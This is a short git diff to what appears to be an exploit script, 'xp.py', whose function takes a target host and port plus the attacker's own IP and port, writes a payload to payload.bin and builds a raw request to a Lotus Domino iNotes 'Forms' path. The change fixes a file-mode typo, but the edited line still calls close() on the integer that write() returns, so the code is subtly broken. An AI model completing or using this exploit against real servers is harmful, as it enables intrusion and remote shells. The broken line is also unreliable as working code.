diff --git a/xp.py b/xp.py
index 74d3b7b..d18a6b3 100644
--- a/xp.py
+++ b/xp.py
@@ -51,7 +51,7 @@ def clap(host, port, yourip, yourport):
 
     # with open("payload.bin", "wb") as f:
     #     f.write(niceone)
-    open("payload.bin", "Wb").write(niceone).close()
+    open("payload.bin", "wb").write(niceone).close()
     
     request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n'
     request += f'Host: {host}\r\n'.encode()